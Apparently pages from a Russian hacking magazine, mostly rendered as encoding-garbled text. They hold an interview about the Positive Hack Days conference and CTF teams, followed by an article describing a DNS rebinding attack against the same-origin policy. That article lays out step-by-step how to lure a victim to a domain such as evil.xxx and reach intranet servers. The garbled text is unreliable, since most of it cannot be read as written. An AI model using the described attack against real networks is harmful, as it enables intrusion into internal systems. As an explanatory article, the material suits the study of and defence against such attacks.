£ÒÆÖ! ¸ÓÏ ËÁÒÁÆÓÒà ÉÎÏÒÓÑÁÎ×ÆÃ, ÓÏ ÔÇÆ ÒÆÊØÁÒ  ¥ÍÉÓÑÉß ¦ÃÓÆÆÃÔ 
ÐÏÒÓÔÐÁßÓ ÈÁàÃËÉ ÏÓ ÓÆÖ ËÏÍÁÎÅ, ÅÏ ËÏÓÏÑÜÖ ÍÜ ÎÆ ÍÏÄÌÉ ÅÏÒÓÔ-
ØÁÓÝÒà Ã ÞÓÏÍ ÄÏÅÔ, ÆÒÓÝ ÑÆÂàÓÁ ÉÈ ÀÐÏÎÉÉ, «ÏÑÆÉ, ËÏÓÏÑÜÍ ÃÒÆ ÞÓÏ 
ÉÎÓÆÑÆÒÎÏ, É ÏÎÉ ÄÏÓÏÃÜ ÐÑÉÆÖÁÓÝ. ³ÁËÇÆ ÍÜ ÂÔÅÆÍ ÐÑÉÄÌÁÙÁÓÝ 
ÍÎÏÄÏ ÑÏÒÒÉÊÒËÉÖ ËÏÍÁÎÅ, Ã ÓÏÍ ØÉÒÌÆ ÎÁØÉÎÁßÚÉÆ ËÏÍÁÎÅÜ, ÐÏÓÏ-
ÍÔ ØÓÏ ÅÌà ÎÉÖ ÞÓÏ ÐÑÆËÑÁÒÎÁà ÃÏÈÍÏÇÎÏÒÓÝ ÐÑÏÃÆÑÉÓÝ ÒÃÏÉ ÒÉÌÜ Ã 
ÒÏÑÆÃÎÏÃÁÎÉàÖ ÍÉÑÏÃÏÄÏ ÔÑÏÃÎà.

- ¸ÓÏ ÓÜ ÍÏÇÆÙÝ ÒËÁÈÁÓÝ ÐÑÏ ÔÑÏÃÆÎÝ ÑÏÒÒÉÊÒËÉÖ ËÏÍÁÎÅ?
£ ÞÓÏÍ ÄÏÅÔ CTF ÐÏËÁÈÁÌ, ØÓÏ ËÑÏÍÆ ÐÆÑÃÏÄÏ ÃÒÆ ÐÑÉÈÏÃÜÆ ÍÆÒÓÁ ÈÁ 
ÎÁÍÉ. ±±± Ã ËÁËÏÍ-ÓÏ ÒÍÜÒÌÆ ÐÏÃÆÈÌÏ, ÎÏ à ÔÃÆÑÆÎ, ÎÁÙÉ ÑÆÂàÓÁ 
ÒÍÏÄÔÓ ÃÜÑÃÁÓÝÒà ÃÐÆÑÆÅ ÂÆÈ ÐÑÏÂÌÆÍ. ®Ï, ËÏÎÆØÎÏ, ÎÔÇÎÏ ÍÎÏÄÏ 
ÐÑÁËÓÉËÉ. 
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- ¦ÒÓÝ ÌÉ ÁÍÂÉ×ÉÉ ÅÏÑÁÒÓÉ ÅÏ Defcon? 
´ ÎÁÒ ÎÆÓ ÇÆÌÁÎÉà ÅÆÌÁÓÝ «ÑÔÒÒËÉÊ 
BlackHat» ÉÌÉ «Defcon», ÐÏÓÏÍÔ ØÓÏ ÞÓÉ 
ÍÆÑÏÐÑÉàÓÉà — ÞÓÏ ÐÑÏÅÔËÓÜ, ÔÒÓÏàÃÙÉÆÒà 
Ã ÒÃÏÆÊ ËÁÎÃÆ. ´ ±ÏÒÒÉÉ ÆÒÓÝ ÒÐÆ×ÉÕÉËÁ, 
ËÏÓÏÑÁà ÓÑÆÂÔÆÓ ÒÏÃÆÑÙÆÎÎÏ ÅÑÔÄÉÖ ÐÏÅ-
ÖÏÅÏÃ.  

- «ÁËÉÆ ÐÑÉÎ×ÉÐÉÁÌÝÎÜÆ ÍÏÍÆÎÓÜ ÃÜàÃÉÌ 
PHD, ÐÏÍÏÄ ÌÉ ÏÎ ÔÈÎÁÓÝ ØÓÏ-ÓÏ ÎÏÃÏÆ Ï 
ÑÏÒÒÉÊÒËÏÍ ©³-ÑÜÎËÆ?
¢ÏÌÝÙÁà ÐÑÏÂÌÆÍÁ PHD, ËÏÓÏÑÔß ÔÇÆ ÏÓÍÆ-
ØÁÌÉ, ÞÓÏ ÂÆÅÎÏÒÓÝ ÎÁÙÆÄÏ ÒÏÏÂÚÆÒÓÃÁ. £ 
ËÁØÆÒÓÃÆ ÐÑÉÍÆÑÁ ÍÏÄÔ ÐÑÉÃÆÒÓÉ ÓÏÓ ÇÆ 
ËÏÎËÔÑÒ «®ÏÔÓÂÔË — ÃÈÌÏÍÁÊ É ÔÎÏÒÉ». ®ÁÍ 
ÐÑÉÙÌÏÒÝ ÏÂÑÁÓÉÓÝÒà ËÏ ÃÒÆÍÔ ÒÏÏÂÚÆÒÓÃÔ, 
ÐÏÅËÌßØÉÓÝ ÌÉØÎÜÆ ÒÃàÈÉ, ÉÈÔØÉÓÝ ÒÐÆ-
×ÉÁÌÉÈÉÑÏÃÁÎÎÜÆ ÒÁÊÓÜ, ØÓÏÂÜ ÎÁÊÓÉ ÅÃÔÖ 
ÔØÁÒÓÎÉËÏÃ, ÉÈ ËÏÓÏÑÜÖ Ã ÑÆÈÔÌÝÓÁÓÆ ÐÑÉ-
ÙÆÌ ÓÏÌÝËÏ ÏÅÉÎ. «ÏÎÆØÎÏ, ÆÒÓÝ ÒÌÔÖÉ, ØÓÏ 
Ã ±ÏÒÒÉÉ ÍÎÏÄÏ ÖÁËÆÑÏÃ, ÎÏ ÏÎÉ, ÃÉÅÉÍÏ, 
ÄÅÆ-ÓÏ ÒÐÑàÓÁÌÉÒÝ. ³ÏÇÆ ËÁÒÁÆÓÒà É ËÏÎÕÆ-
ÑÆÎ×ÉÉ. « ÒÏÇÁÌÆÎÉß, ËÁØÆÒÓÃÆÎÎÏÄÏ ÐÑÁË-
ÓÉØÆÒËÏÄÏ ÍÁÓÆÑÉÁÌÁ Ã ±ÏÒÒÉÉ ÒÆÊØÁÒ ÍÁÌÏ.

- ´ Positive Hack Days ÎÆÍÎÏÄÏ ÒÐÏÎÒÏÑÏÃ. 
³ÆÍÁ, ØÓÏ ÎÁÈÜÃÁÆÓÒà, «ÎÆ ÐÏÙÌÁ»? 
´ ÎÁÒ ÎÆ ÂÜÌÏ ÈÁÅÁØÉ ÈÁÑÁÂÏÓÁÓÝ ÎÁ PHD. 
¾ÓÏ ÏÂÌÆÄØÁÆÓ ÍÎÏÄÏÆ, ÐÏÈÃÏÌàÆÓ ÞËÒÐÆÑÉ-
ÍÆÎÓÉÑÏÃÁÓÝ. © ÞÓÏ ÎÆ ÍÏÄÌÏ ÎÆ ÏÓÑÁÈÉÓÝÒà 
É ÎÁ ÒÐÏÎÒÏÑÒËÏÊ ÐÏÌÉÓÉËÆ. Ü ÐÑÉÄÌÁÙÁÌÉ 
ËÏÍÐÁÎÉÉ, ËÏÓÏÑÜÆ ÍÏÄÔÓ ÐÏÍÏØÝ ÎÆ ÓÏÌÝËÏ 
ÅÆÎÝÄÁÍÉ, ÎÏ É ÃÎÆÒÓÉ Ã PHD ÃËÌÁÅ ÒÃÏÉ-
ÍÉ ÉÅÆàÍÉ. ³ÁË, ¬ÁÂÏÑÁÓÏÑÉà «ÁÒÐÆÑÒËÏÄÏ 

ÐÑÉÎàÌÁ ÁËÓÉÃÎÏÆ ÔØÁÒÓÉÆ Ã ÐÏÅÄÏÓÏÃËÆ 
ÅÆÌÏÃÏÊ ÐÑÏÄÑÁÍÍÜ, Cisco ÏØÆÎÝ ÐÏÍÏÄÌÁ 
Ò ÁÐÐÁÑÁÓÎÜÍ ÏÂÆÒÐÆØÆÎÉÆÍ, «ÁÂÆÒÓ ÐÏÍÏÄ 
ÒÕÏÑÍÉÑÏÃÁÓÝ ÂÉÈÎÆÒ-ÒÏÏÂÚÆÒÓÃÏ ÒÑÆÅÉ 
ÔØÁÒÓÎÉËÏÃ. ¯ÄÑÏÍÎÏÆ ÉÍ ÈÁ ÞÓÏ ÒÐÁÒÉÂÏ.

- ¸ÓÏ ÎÔÇÎÏ ÒÅÆÌÁÓÝ, ØÓÏÂÜ ÒÉÓÔÁ×Éà ÉÈÍÆ-
ÎÉÌÁÒÝ? 
®ÔÇÎÏ ÐÑÏÃÏÅÉÓÝ ÂÏÌÝÙÆ Positive Hack 
Days! ¸ÓÏÂÜ ÌßÅÉ ÃÜÖÏÅÉÌÉ ÎÁ ÒÃÆÓ, ÎÆ ÂÏà-
ÌÉÒÝ. ¯ÅÎÁ ÉÈ ÈÁÅÁØ PHD — ÐÏËÁÈÁÓÝ, ØÓÏ 
ÖÁËÆÑ — ÓÏÇÆ ØÆÌÏÃÆË, ØÓÏ ÎÆ ÒÓÏÉÓ ÏÓÎÏ-
ÒÉÓÝÒà Ë ÐÏÉÒËÔ ÔàÈÃÉÍÏÒÓÆÊ, Ë ÉÒÒÌÆÅÏÃÁ-
ÎÉß ÈÁÚÉÚÆÎÎÏÒÓÉ ËÁË Ë ËÁËÏÊ-ÓÏ ÒÓÑÁÙ-
ÎÏÊ É ÏÐÁÒÎÏÊ ÃÆÚÉ. ¾ÓÏ ÃÐÏÌÎÆ ÐÏÎàÓÎÁà 
ÌÆÄÉÓÉÍÎÁà ÑÁÂÏÓÁ (ÎÔ ÉÎÏÄÅÁ, ÍÏÇÆÓ ÂÜÓÝ, 
ÎÆÌÆÄÉÓÉÍÎÁà, ÃÒÆ ÈÁÃÉÒÉÓ ÏÓ ÓÏÄÏ, ËÔÅÁ 
ÎÁÐÑÁÃÉÓÝ ÆÆ ÑÆÈÔÌÝÓÁÓÜ). ¤ÌÁÃÎÏÆ, ÞÓÏ ÃÆÚÝ 
ÎÔÇÎÁà É ÃÏÒÓÑÆÂÏÃÁÎÎÁà, ØÓÏ ÐÏËÁÈÁÌ É 
ÉÎÓÆÑÆÒ ÐÑÆÅÒÓÁÃÉÓÆÌÆÊ ÂÉÈÎÆÒÁ Ë ÓÏÍÔ, ØÓÏ 
ÐÑÏÉÒÖÏÅÉÌÏ ÎÁ ÍÆÑÏÐÑÉàÓÉÉ. £ÁÇÎÏ, ØÓÏ 
ÆÒÓÝ ÑÆÂàÓÁ, ËÏÓÏÑÜÆ ÄÏÓÏÃÜ ÑÁÈÃÉÃÁÓÝÒà Ã 
ÞÓÏÍ ÎÁÐÑÁÃÌÆÎÉÉ. ¾ÓÏ ÄÌÁÃÎÜÊ ÑÆÈÔÌÝÓÁÓ 
PHD, ÐÏÍÉÍÏ ÔÅÏÃÏÌÝÒÓÃÉà. 

- ¯ÅÎÏÊ ÉÈ ÄÌÁÃÎÜÖ ×ÆÌÆÊ PHD ÈÁàÃÌàÌÏÒÝ 
ÎÁÌÁÇÉÃÁÎÉÆ ÒÃàÈÆÊ ÍÆÇÅÔ ÖÁËÆÑÁÍÉ É 
ÂÉÈÎÆÒÏÍ. ¾ÓÏ ÔÅÁÌÏÒÝ? 
®ÆÐÏÒÑÆÅÒÓÃÆÎÎÏ Ë ÎÁÍ Ã ËÏÍÐÁÎÉß ÐÏÒÌÆ 
Positive Hack Days ÔÒÓÑÏÉÌÏÒÝ 4 ØÆÌÏÃÆ-
ËÁ. ¥ÑÔÄÉÆ ÃÆÎÅÏÑÜ, ÎÁÒËÏÌÝËÏ à ÈÎÁß, 
ÓÏÇÆ ÃÆÌÉ ÁËÓÉÃÎÔß ËÁÅÑÏÃÔß ÐÏÌÉÓÉËÔ ÎÁ 
ÕÏÑÔÍÆ. ¦ÒÓÝ ÉÎÓÆÑÆÒ Ë ÎÆËÏÓÏÑÜÍ CTF-
ËÏÍÁÎÅÁÍ ÒÏ ÒÓÏÑÏÎÜ Enterprise-ËÏÍÐÁÎÉÊ, 

ËÏÓÏÑÜÆ ÐÜÓÁßÓÒà Ò ÎÉÍÉ ÑÁÂÏÓÁÓÝ, ÐÏÒÓÑÏ-
ÉÓÝ ÃÈÁÉÍÏÏÓÎÏÙÆÎÉà Ã ÏÂÌÁÒÓÉ ÉÒÒÌÆÅÏ-
ÃÁÓÆÌÝÒËÉÖ ÐÑÏÄÑÁÍÍ. ¾ÓÏ ÃÁÇÎÁà ÃÆÚÝ, 
ÐÏÓÏÍÔ ØÓÏ Ô ÎÁÒ, Ã ÏÓÌÉØÉÆ ÏÓ ÃÒÆÄÏ ÍÉÑÁ, 
ÉÒÐÏÌÝÈÏÃÁÎÉÆ ÔÎÉÃÆÑÒÉÓÆÓÒËÉÖ ËÏÍÁÎÅ, 
ÔÎÉÃÆÑÒÉÓÆÓÒËÉÖ ÌÁÂÏÑÁÓÏÑÉÊ Ã ÑÆÁÌÝÎÏÍ 
R&D Ã ÏÂÌÁÒÓÉ ËÏÍÐÝßÓÆÑÎÏÊ ÂÆÈÏÐÁÒÎÏÒÓÉ 
ÐÑÁËÓÉØÆÒËÉ ÎÔÌÆÃÏÆ. ¨ÅÆÒÝ ÇÆ, ÆÒÌÉ ÞÓÁ 
ÓÆÎÅÆÎ×Éà ÐÏÌÔØÉÓ ÑÁÈÃÉÓÉÆ, ÓÏ ÍÜ ÐÏÌÔ-
ØÉÍ ÓÏ, Ï ØÆÍ ÓÁË ÅÏÌÄÏ ÄÏÃÏÑàÓ Ò ÃÜÒÏËÉÖ 
ÓÑÉÂÔÎ, — ÒÃàÈÝ ÐÑÏÉÈÃÏÅÒÓÃÁ Ò ÃÜÒÙÉÍ 
ÏÂÑÁÈÏÃÁÎÉÆÍ. °ÑÁÃÅÁ, ÒÍÏÄÔÓ ÌÉ ÃÔÈÜ 
ÐÏÒÓÑÏÉÓÝ Research & Development Ô ÒÆÂà, 
ÐÑÆÅÏÒÓÁÃÌàÓÝ ÈÁËÏÎØÆÎÎÜÊ ×ÉËÌ ÔÒÌÔÄ ÏÓ 
ÉÒÒÌÆÅÏÃÁÎÉà ÅÏ ËÏÍÐÏÎÆÎÓÏÃ ÐÑÏÅÔËÓÁ, — 
ÂÏÌÝÙÏÊ ÃÏÐÑÏÒ. 
£ ÌßÂÏÍ ÒÌÔØÁÆ, ÞÓÏ ÃÁÇÎÁà É ÐÏÌÆÈÎÁà 
ÃÆÚÝ, ËÏÓÏÑÏÊ ÒÓÏÉÓ ÈÁÎÉÍÁÓÝÒà.

- «ÁË ÍÏÇÎÏ ÃÜÑÁÈÉÓÝ ÒÔÓÝ PHD? 
®ÆÅÁÃÎÏ à ÏÂÚÁÌÒà Ò ØÆÌÏÃÆËÏÍ, ËÏÓÏÑÜÊ 
«ÎÆ Ã ÓÆÍÆ», É ÎÁÓËÎÔÌÒà ÎÁ Positive Hack 
Days Ã ÉÎÓÆÑÎÆÓÆ. ³ÁË ÃÏÓ, ÏÎ ÃÏÒÐÑÉÎàÌ 
ÞÓÏ ÎÁÈÃÁÎÉÆ ÎÆ ËÁË ÒÃàÈÁÎÎÏÆ Ò ±ositive 
Technologies, Á ËÁË ÐÏÐÜÓËÔ ÃÏÒÒÓÁÎÏÃÉÓÝ 
ËÁËÏÊ-ÓÏ ÐÏÈÉÓÉÃÎÜÊ ÉÍÉÅÇ ÖÁËÆÑÏÃ, ÐÏÈÉ-
ÓÉÃÎÏÆ ÏÓÎÏÙÆÎÉÆ Ë ÞÓÏÍÔ ÒÌÏÃÔ, ËÏÓÏÑÏÆ 
ÒÆÊØÁÒ ÎÏÒÉÓ ÒÔÄÔÂÏ ÎÆÄÁÓÉÃÎÜÊ ÏÓÓÆÎÏË. Ü 
ÇÆ ÖÏÓÉÍ ÐÏËÁÈÁÓÝ, ØÓÏ ÖÁËÆÑÜ ÞÓÏ ÎÆ ÒÓÏÌÝ-
ËÏ ¢ÉÃÉÒ É ¢ÁÓÖÆÅ ÉÌÉ ÓÁÉÎÒÓÃÆÎÎÜÆ ËÉÂÆÑ-
ÐÑÆÒÓÔÐÎÉËÉ, ÎÏ É ÞËÒÐÆÑÓÜ, ÍÁÒÓÆÑÁ ÒÃÏÆÄÏ 
ÅÆÌÁ É ÌßÂÏÈÎÁÓÆÌÝÎÜÆ ÑÆÂàÓÁ, ËÏÓÏÑÜÆ 
ÖÏÓàÓ ÑÁÈÃÉÃÁÓÝÒà, ÖÏÓàÓ ÈÁÎÉÍÁÓÝÒà ØÆÍ-ÓÏ 
ÐÏÌÆÈÎÜÍ, ÐÆÑÒÐÆËÓÉÃÎÜÍ É ÎÔÇÎÜÍ. z
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ВЗЛОМ
 ¥ÆÎÉÒ  ¢ÁÑÁÎÏÃ

  Îñíîâîé ìîäåëè áåçîïàñíîñòè, çàëîæåííîé â ñîâðåìåííûå 
áðàóçåðû, ÿâëÿåòñÿ ìåõàíèçì «Same origin policy». Ñóòü åãî 
çàêëþ÷àåòñÿ â òîì, ÷òî áðàóçåðû íå ïîçâîëÿþò ñöåíàðèÿì îáðàùàòüñÿ 
ê äàííûì, ðàñïîëîæåííûì íà ñòîðîííèõ äîìåíàõ. Èñêëþ÷åíèå 
ñîñòàâëÿåò ëèøü âîçìîæíîñòè ïåðåäàâàòü POST-çàïðîñû è ïîäêëþ÷àòü 
ê ñòðàíèöå ôàéëû javascript è css. Ïðè ýòîì íå ñóùåñòâóåò íèêàêèõ 
ëåãàëüíûõ ñïîñîáîâ ÷èòàòü äàííûå, ïîëó÷àåìûå ñ äðóãîãî äîìåíà.

Ðåàëèçàöèè àòàêè äëÿ îáõîäà Same origin policy

ÂÒÎÐÀß 
ÆÈÇÍÜ 
DNS REBINDING

Обход ограничений
°ÏÅÔÍÁÆÍ, ØÆÄÏ ËÏÎËÑÆÓÎÏ ÍÏÇÎÏ ÂÜÌÏ ÂÜ ÅÏÂÉÓÝÒà, ÆÒÌÉ ÂÜ ÏÄÑÁ-
ÎÉØÆÎÉÆ ÎÁ ÐÏÌÔØÆÎÉÆ ÅÁÎÎÜÖ Ò ÅÑÔÄÉÖ ÅÏÍÆÎÏÃ ÔÅÁÌÏÒÝ ÏÓÍÆÎÉÓÝ. £ 
ÐÆÑÃÔß ÏØÆÑÆÅÝ, ÍÜ ÐÏÌÔØÉÌÉ ÂÜ ÃÏÈÍÏÇÎÏÒÓÝ ÎÆ ÓÏÌÝËÏ ÏÓÐÑÁÃÌàÓÝ 
ÈÁÐÑÏÒÜ ÎÁ ÒÓÏÑÏÎÎÉÆ ÑÆÒÔÑÒÜ (ËÁË ÐÑÉ ÒÓÁÎÅÁÑÓÎÜÖ CSRF-ÁÓÁËÁÖ), 
ÎÏ É ÏÂÑÁÂÁÓÜÃÁÓÝ ÏÓÃÆÓÜ, ÐÏÌÔØÆÎÎÜÆ ÏÓ ÒÆÑÃÆÑÁ. ¡ ÈÎÁØÉÓ, ÂÏÌÝ-
ÙÁà ØÁÒÓÝ ÍÆÖÁÎÉÈÍÏÃ, ÐÑÆÅÎÁÈÎÁØÆÎÎÜÖ ÅÌà ÈÁÚÉÓÜ ÏÓ CSRF-ÁÓÁË, 
ÐÆÑÆÒÓÁÌÁ ÂÜ ÑÁÂÏÓÁÓÝ. Ü ÍÏÄÌÉ ÂÜ ÐÏÌÔØÉÓÝ ÅÏÒÓÔÐ Ë ÑÆÒÔÑÒÁÍ, 
ÑÁÒÐÏÌÏÇÆÎÎÜÍ ÃÏ ÃÎÔÓÑÆÎÎÆÊ ÒÆÓÉ (ÎÆÅÏÒÓÔÐÎÏÊ ÉÈÃÎÆ), ÐÑÉ ÞÓÏÍ 
ÂÑÁÔÈÆÑ ÐÏÌÝÈÏÃÁÓÆÌà ÉÒÐÏÌÝÈÏÃÁÌÒà ÂÜ Ã ËÁØÆÒÓÃÆ ÐÑÏËÒÉ. ³ÁËÇÆ 
ÍÏÇÎÏ ÂÜÌÏ ÂÜ ÐÏÌÔØÁÓÝ ËÏÎÕÉÅÆÎ×ÉÁÌÝÎÜÆ ÅÁÎÎÜÆ Ò ÑÆÒÔÑÒÏÃ, ÎÁ 
ËÏÓÏÑÜÖ ÐÏÌÝÈÏÃÁÓÆÌÝ ÐÑÏÖÏÅÉÓ ÁÔÓÆÎÓÉÕÉËÁ×Éß ÐÑÉ ÐÏÍÏÚÉ ÒÆÑÓÉ-
ÕÉËÁÓÏÃ. ¶ÏÑÏÙÉÍ ÐÑÉÍÆÑÏÍ ÐÏÅÏÂÎÏÄÏ ÃÆÂ-ÐÑÉÌÏÇÆÎÉà ÅÌà ËÏÑÐÏ-
ÑÁÓÉÃÎÏÊ ÒÑÆÅÜ àÃÌàÆÓÒà ÐÏØÓÏÃÜÊ ÒÆÑÃÆÑ Outlook Web Access.
©ÍÆÎÎÏ ÅÌà ÏÂÖÏÅÁ ÏÄÑÁÎÉØÆÎÉà «Same origin policy» É ÂÜÌÏ ÐÑÉ-
ÅÔÍÁÎÏ ÒÆÍÆÊÒÓÃÏ ÁÓÁË Anti DNS pinning, ÓÁËÇÆ ÉÈÃÆÒÓÎÏÆ ËÁË DNS 
rebinding. ¡ÓÁËÁÍ ÓÉÐÁ Anti DNS pinning ÐÏÅÃÆÑÇÆÎÜ ÃÆÂ-ÒÆÑÃÆÑÜ, 
ËÏÓÏÑÜÆ ÏÓÃÆØÁßÓ ÎÁ HTTP-ÈÁÐÑÏÒÜ Ò ÐÑÏÉÈÃÏÌÝÎÜÍ ÈÎÁØÆÎÉÆÍ 
ÈÁÄÏÌÏÃËÁ Host. £ ØÁÒÓÎÏÒÓÉ, ÔàÈÃÉÍÜ ÃÒÆ web-ÒÆÑÃÆÑÁ Apache É 
IIS Ò ËÏÎÕÉÄÔÑÁ×ÉÆÊ ÐÏ ÔÍÏÌØÁÎÉß. ³ÁËÇÆ ÔàÈÃÉÍÜ ÐÑÁËÓÉØÆÒËÉ ÃÒÆ 

ÔÅÁÌÆÎÎÜÆ ÒÆÑÃÉÒÜ, ÔÐÑÁÃÌàÆÍÜÆ ÐÏ HTTP, ÎÏ ÎÆ ÉÍÆßÚÉÆ web-
ÉÎÓÆÑÕÆÊÒÁ. ®ÁÐÑÉÍÆÑ, ÔàÈÃÉÍÜ ÐÑÁËÓÉØÆÒËÉ ÃÒÆ ÒÆÑÃÉÒÜ, ÐÑÆÅÏ-
ÒÓÁÃÌàßÚÉÆ ÔÅÁÌÆÎÎÜÆ API Ò ÔÐÑÁÃÌÆÎÉÆÍ ÐÑÉ ÐÏÍÏÚÉ ÐÑÏÓÏËÏÌÏÃ 
SOAP, XML-RPC É ÐÏÅÏÂÎÜÖ.

В чем же суть?
²ÏÃÑÆÍÆÎÎÜÆ ÂÑÁÔÈÆÑÜ, ÐÑÉ ÐÏÌÔØÆÎÉÉ ÒÓÑÁÎÉØËÉ Ò ËÁËÏÄÏ-ÌÉÂÏ 
ÒÁÊÓÁ, ËÆÙÉÑÔßÓ ÑÆÈÔÌÝÓÁÓÜ DNS-ÈÁÐÑÏÒÁ. ¾ÓÏ ÅÆÌÁÆÓÒà ÅÌà ÐÑÆÅÏÓ-
ÃÑÁÚÆÎÉà ÏÓÐÑÁÃËÉ ÈÁÐÑÏÒÏÃ Ë ÒÓÏÑÏÎÎÉÍ ÒÆÑÃÆÑÁÍ ÐÏÒÑÆÅÒÓÃÏÍ 
ÐÏÅÍÆÎÜ IP-ÁÅÑÆÒÁ. ¥ÁÃÁÊ ÐÏÅÔÍÁÆÍ, ØÓÏ ÍÏÇÎÏ ÒÅÆÌÁÓÝ ÅÌà ÏÂÖÏÅÁ 
ÞÓÏÄÏ ÍÆÖÁÎÉÈÍÁ. ±ÁÎÝÙÆ ÁÓÁËÁ (Ã ÓÆÏÑÉÉ) ÍÏÄÌÁ ÐÑÏÃÏÅÉÓÝÒà ÒÌÆ-
ÅÔßÚÉÍ ÏÂÑÁÈÏÍ:
1) §ÆÑÓÃÁ ÏÂÑÁÚÁÆÓÒà Ë ÅÏÍÆÎÔ, ÐÑÉÎÁÅÌÆÇÁÚÆÍÔ ÈÌÏÔÍÜÙÌÆÎÎÉËÔ.
2) °ÏÌÔØÁÆÓ Ò DNS-ÒÆÑÃÆÑÁ IP-ÁÅÑÆÒ, ÒÏÏÓÃÆÓÒÓÃÔßÚÉÊ ÅÏÍÆÎÎÏÍÔ 
ÉÍÆÎÉ.
3) ¯ÂÑÁÚÁÆÓÒà ÎÁ web-ÒÆÑÃÆÑ (ÒÏÏÓÃÆÓÒÓÃÔßÚÉÊ ÐÏÌÔØÆÎÎÏÍÔ IP) É 
ÐÏÌÔØÁÆÓ Ò ÎÆÄÏ Ò×ÆÎÁÑÉÊ javascript.
4) °ÏÌÔØÆÎÎÜÊ Javascript ØÆÑÆÈ ÎÆËÏÓÏÑÏÆ ÃÑÆÍà ÐÏÒÌÆ ÈÁÄÑÔÈËÉ 
ÉÎÉ×ÉÉÑÔÆÓ ÐÏÃÓÏÑÎÜÊ ÈÁÐÑÏÒ ÎÁ ÒÆÑÃÆÑ.
5) £ ÞÓÏÓ ÍÏÍÆÎÓ ÁÓÁËÔßÚÉÊ ÐÑÉ ÐÏÍÏÚÉ ÍÆÇÒÆÓÆÃÏÄÏ ÞËÑÁÎÁ ÂÌÏ-

°Ï ÍÁÓÆÑÉÁÌÁÍ
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ËÉÑÔÆÓ ÃÒÆ ÈÁÐÑÏÒÜ ÇÆÑÓÃÜ Ë ÒÆÑÃÆÑÔ.
6) ¢ÑÁÔÈÆÑ ÐÜÓÁÆÓÒà ÐÏÃÓÏÑÎÏ ÔÈÎÁÓÝ IP-ÁÅÑÆÒ ÒÆÑÃÆÑÁ (ÐÏÒÌÁÃ 
ÒÏÏÓÃÆÓÒÓÃÔßÚÉÊ DNS-ÈÁÐÑÏÒ) É ÎÁ ÞÓÏÓ ÑÁÈ ÐÏÌÔØÁÆÓ IP-ÁÅÑÆÒ ÔàÈ-
ÃÉÍÏÄÏ ÒÆÑÃÆÑÁ ÉÈ ÌÏËÁÌÝÎÏÊ ÒÆÓÉ ÇÆÑÓÃÜ.
²ÏÏÓÃÆÓÒÓÃÆÎÎÏ, ÆÒÌÉ ÔÅÁÒÓÒà ÈÁÍÁÎÉÓÝ ÇÆÑÓÃÔ ÎÁ ÒÃÏÊ ÅÏÍÆÎ 
evil.xxx, ÍÏÇÎÏ ÈÁÒÓÁÃÉÓÝ ÂÑÁÔÈÆÑ ÐÏÌÝÈÏÃÁÓÆÌà ÅÔÍÁÓÝ, ØÓÏ ÞÓÏÍÔ 
ÉÍÆÎÉ ÅÏÍÆÎÁ ÒÏÏÓÃÆÓÒÓÃÔÆÓ ÎÆ IP-ÁÅÑÆÒ ÉÈ ÃÎÆÙÎÆÄÏ ÉÎÓÆÑÎÆÓÁ, 
Á IP-ÁÅÑÆÒ ÉÈ ÌÏËÁÌÝÎÏÊ ÒÆÓÉ. °Ï ÞÓÏÍÔ ÁÅÑÆÒÔ ÍÏÇÆÓ, Ë ÐÑÉÍÆÑÔ, 
ÑÁÒÐÏÌÁÄÁÓÝÒà ËÁËÏÊ-ÎÉÂÔÅÝ ÃÁÇÎÜÊ ÃÎÔÓÑÉËÏÑÐÏÑÁÓÉÃÎÜÊ ÑÆÒÔÑÒ. 
°ÑÏÂÌÆÍÁ ÓÏÌÝËÏ Ã ÓÏÍ, ØÓÏ ÞÓÏÓ ÃÁÑÉÁÎÓ ÁÓÁËÉ ÎÆ ÑÁÂÏÓÁÆÓ.

Реализуем на практике
«ÁË ÍÏÇÎÏ ÐÏÎàÓÝ ÉÈ ÏÐÉÒÁÎÉà ÁÓÁËÉ, ÎÁÍ ÐÏÓÑÆÂÔÆÓÒà ÏÅÉÎ ÒÆÑÃÆÑ, 
ÎÁ ËÏÓÏÑÏÍ ÎÔÇÎÏ ÐÏÅÎàÓÝ É ÎÁÒÓÑÏÉÓÝ WEB- É DNS-ÒÆÑÃÆÑÁ, ÓÁËÇÆ 
ÐÏÓÑÆÂÔÆÓÒà ÅÏÍÆÎ, ÎÁ ËÏÓÏÑÜÊ ÍÏÇÎÏ ÂÔÅÆÓ ÈÁÍÁÎÉÃÁÓÝ ÇÆÑÓÃÔ. °ÑÉ 
ÑÆÄÉÒÓÑÁ×ÉÉ ÅÏÍÆÎÎÏÄÏ ÉÍÆÎÉ ÔËÁÈÜÃÁÆÍ Ã ËÁØÆÒÓÃÆ NS-ÒÆÑÃÆÑÏÃ 
ÅÁÎÎÜÆ ÎÁÙÆÄÏ ÒÆÑÃÆÑÁ.
¥Ìà ÔÒÐÆÙÎÏÄÏ ÐÑÏÃÆÅÆÎÉà ÁÓÁËÉ ÎÁ ÐÑÁËÓÉËÆ ÎÔÇÎÏ ÒËÏÎÕÉÄÔÑÉ-
ÑÏÃÁÓÝ NS-ÒÆÑÃÆÑ ÓÁË, ØÓÏÂÜ ÏÎ ÃÏÈÃÑÁÚÁÌ ÏÂÁ IP-ÁÅÑÆÒÁ ÏÅÎÏÃÑÆ-
ÍÆÎÎÏ. °ÑÉØÆÍ IP-ÁÅÑÆÒ ÒÆÑÃÆÑÁ, ÎÁ ËÏÓÏÑÏÍ ÌÆÇÉÓ Javascript, ÐÑÏ-
ÃÏÅàÚÉÊ ÁÓÁËÔ, ÅÏÌÇÆÎ ÃÏÈÃÑÁÚÁÓÝÒà ÐÆÑÃÜÍ, Á IP-ÁÅÑÆÒ ÒÆÑÃÆÑÁ 
ÇÆÑÓÃÜ — ÃÓÏÑÜÍ. £ ÓÁËÏÍ ÒÌÔØÁÆ ÐÑÉ ÏÂÑÁÚÆÎÉÉ Ë ÅÏÍÆÎÔ ÂÑÁÔÈÆÑ 
ÒÎÁØÁÌÁ ÈÁÄÑÔÈÉÓ ÁÓÁËÔßÚÉÊ ÒËÑÉÐÓ Ò ÎÁÙÆÄÏ ÒÆÑÃÆÑÁ, ÌÉÙÝ ÐÏÓÏÍ, 
ËÏÄÅÁ ÒÆÑÃÆÑ ÒÓÁÎÆÓ ÎÆÅÏÒÓÔÐÎÜÍ (Ã ÑÆÈÔÌÝÓÁÓÆ ÂÌÏËÉÑÏÃËÉ ÈÁÐÑÏÒÁ 
ÍÆÇÒÆÓÆÃÜÍ ÞËÑÁÎÏÍ), — ÏÂÑÁÓÉÓÒà Ë ÒÆÑÃÆÑÔ ÇÆÑÓÃÜ.
